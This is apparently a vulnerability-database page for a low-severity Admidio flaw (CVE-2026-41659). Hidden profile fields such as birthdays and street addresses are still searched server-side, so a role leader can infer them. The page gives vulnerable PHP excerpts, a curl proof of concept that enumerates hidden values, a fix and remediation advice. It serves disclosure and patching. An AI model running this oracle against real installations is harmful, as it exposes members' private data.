Skip to main content

Admidio EUVDEUVD-2026-28270

| CVE-2026-41659 LOW
Information Exposure (CWE-200)
2026-04-29 https://github.com/Admidio/admidio GHSA-68pr-7prh-mpv4
2.7
CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY
2.7 LOW
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

Lifecycle Timeline

4
Source Code Evidence Fetched
Apr 29, 2026 - 22:17 vuln.today
Analysis Generated
Apr 29, 2026 - 22:17 vuln.today
Analysis Generated
Apr 29, 2026 - 22:00 vuln.today
CVE Published
Apr 29, 2026 - 21:47 nvd
LOW 2.7

DescriptionGitHub Advisory

Summary

The member assignment DataTables endpoint (members_assignment_data.php) includes hidden profile fields (BIRTHDAY, STREET, CITY, POSTCODE, COUNTRY) in its SQL search condition regardless of field visibility settings. While the JSON output correctly suppresses hidden columns via isVisible() checks, the server-side search operates at the SQL level before any visibility filtering. This allows a role leader with assign-only permissions to infer hidden PII values by observing which users appear in search results for specific values.

Details

The search columns are hardcoded at modules/groups-roles/members_assignment_data.php:118-126:

php
$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
    'COALESCE(birthday, \' \')',    // hidden field - no visibility check
    'COALESCE(street, \' \')',      // hidden field - no visibility check
    'COALESCE(city, \' \')',        // hidden field - no visibility check
    'COALESCE(zip_code, \' \')',    // hidden field - no visibility check
    'COALESCE(country, \' \')'      // hidden field - no visibility check
);

These columns are concatenated into a SQL LIKE search at line 139:

php
$searchCondition .= ' AND LOWER(CONCAT(' . implode(', ', $searchColumns) . ')) LIKE LOWER(CONCAT(\'%\', ' . $searchValue . ', \'%\')) ';

The SQL query at lines 200-235 fetches all these fields via LEFT JOINs on adm_user_data, and the search condition is applied as a subquery filter at lines 258-262:

php
$sql = 'SELECT usr_id, usr_uuid, last_name, first_name, birthday, city, street, zip_code, country, ...
      FROM (' . $mainSql . ') AS members
       ' . $searchCondition . $orderCondition . $limitCondition;

The output visibility checks at lines 291-335 correctly call $gProfileFields->isVisible('BIRTHDAY', $gCurrentUser->isAdministratorUsers()), which returns false when usf_hidden=1 and the user is not an admin. However, this only controls whether the column appears in the JSON response - the result set has already been filtered by the search.

The authorization check at line 77 uses allowedToAssignMembers() (src/Roles/Entity/Role.php:98-121), which passes for role leaders with ROLE_LEADER_MEMBERS_ASSIGN (value 1). These leaders do not have isAdministratorUsers() privileges, so isVisible() returns false for hidden fields - but the search still operates on them.

PoC

bash
# Prerequisites:
# - Authenticated as a role leader with ROLE_LEADER_MEMBERS_ASSIGN rights
# - BIRTHDAY field is configured as hidden (usf_hidden = 1)
# - Target role has a known UUID
# Step 1: Baseline - get all members without search filter
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D='
# Response: returns all users. Birthday column is NOT in output (hidden).
# Note recordsFiltered count.
# Step 2: Search for a specific birthday value
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=1990-03-15'
# Response: only users whose hidden birthday matches "1990-03-15" appear.
# Birthday column is still NOT in output, but result set is filtered by it.
# User names (always visible) reveal which users have that birthday.
# Step 3: Enumerate hidden street addresses
curl -b 'PHPSESSID=<session>' \
  'https://target/adm_program/modules/groups-roles/members_assignment_data.php?role_uuid=<ROLE_UUID>&draw=1&start=0&length=25&search%5Bvalue%5D=123+Main+St'
# Response: only users living at "123 Main St" appear in results.
# Address fields are hidden in output but the search matched against them.

Impact

A role leader with assign-only permissions (the lowest leader privilege level) can extract hidden PII for all organization members including:

  • Birthdays - exact date of birth for any user
  • Street addresses - full street address
  • Cities and postal codes - location information
  • Countries - nationality/residence

This is a blind oracle attack: hidden field values are never displayed, but by searching for specific values and observing the filtered result set (user names and recordsFiltered count), an attacker can determine which users match any hidden field value. This defeats the administrator's intent in marking these fields as hidden.

Recommended Fix

Filter search columns by visibility before constructing the SQL search condition. Replace lines 118-126 with:

php
$searchColumns = array(
    'COALESCE(last_name, \' \')',
    'COALESCE(first_name, \' \')',
);

$isAdmin = $gCurrentUser->isAdministratorUsers();
if ($gProfileFields->isVisible('BIRTHDAY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(birthday, \' \')';
}
if ($gProfileFields->isVisible('STREET', $isAdmin)) {
    $searchColumns[] = 'COALESCE(street, \' \')';
}
if ($gProfileFields->isVisible('CITY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(city, \' \')';
}
if ($gProfileFields->isVisible('POSTCODE', $isAdmin)) {
    $searchColumns[] = 'COALESCE(zip_code, \' \')';
}
if ($gProfileFields->isVisible('COUNTRY', $isAdmin)) {
    $searchColumns[] = 'COALESCE(country, \' \')';
}

This ensures the SQL search only operates on fields the current user is authorized to see, matching the behavior of the output visibility checks.

AnalysisAI

Admidio members_assignment_data.php endpoint leaks hidden profile field values through a blind search oracle attack. Role leaders with ROLE_LEADER_MEMBERS_ASSIGN permissions can infer exact values of hidden PII fields (birthdays, street addresses, cities, postal codes, countries) by observing which users appear in search results, despite these fields being suppressed from JSON output. The vulnerability affects Admidio versions up to 5.0.8 and is fixed in 5.0.9.

Technical ContextAI

The vulnerability exists in the member assignment DataTables endpoint (modules/groups-roles/members_assignment_data.php) which constructs server-side SQL search conditions that include hidden profile fields in the WHERE clause. The application uses the $gProfileFields->isVisible() method to correctly filter output columns in the JSON response, but this visibility check is applied only after the SQL query executes and result set filtering occurs. The search condition concatenates seven columns-last_name, first_name, birthday, street, city, zip_code, and country-into a single LIKE search at the SQL level. The root cause is a separation between authorization logic (output filtering via isVisible()) and data access logic (SQL WHERE condition), allowing an attacker to abuse the search functionality as an oracle to enumerate hidden field values through inference attacks. CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) describes this class of vulnerability.

RemediationAI

Upgrade Admidio to version 5.0.9 or later immediately. The patched version adds visibility checks to the $searchColumns array construction before SQL query execution, ensuring that hidden profile fields are excluded from the server-side search condition if the current user lacks permissions to view them. No workarounds are available for earlier versions other than restricting role leader assignment permissions to trusted administrators only or disabling the member assignment endpoint entirely via web server access controls. If upgrading is not immediately possible, implement network-level restrictions to limit access to members_assignment_data.php to IP ranges of trusted administrators, and audit role leader assignments to remove users who do not need legitimate access to the member assignment feature. Note that these compensating controls may impact operational workflows and should be temporary measures only.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

EUVD-2026-28270 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy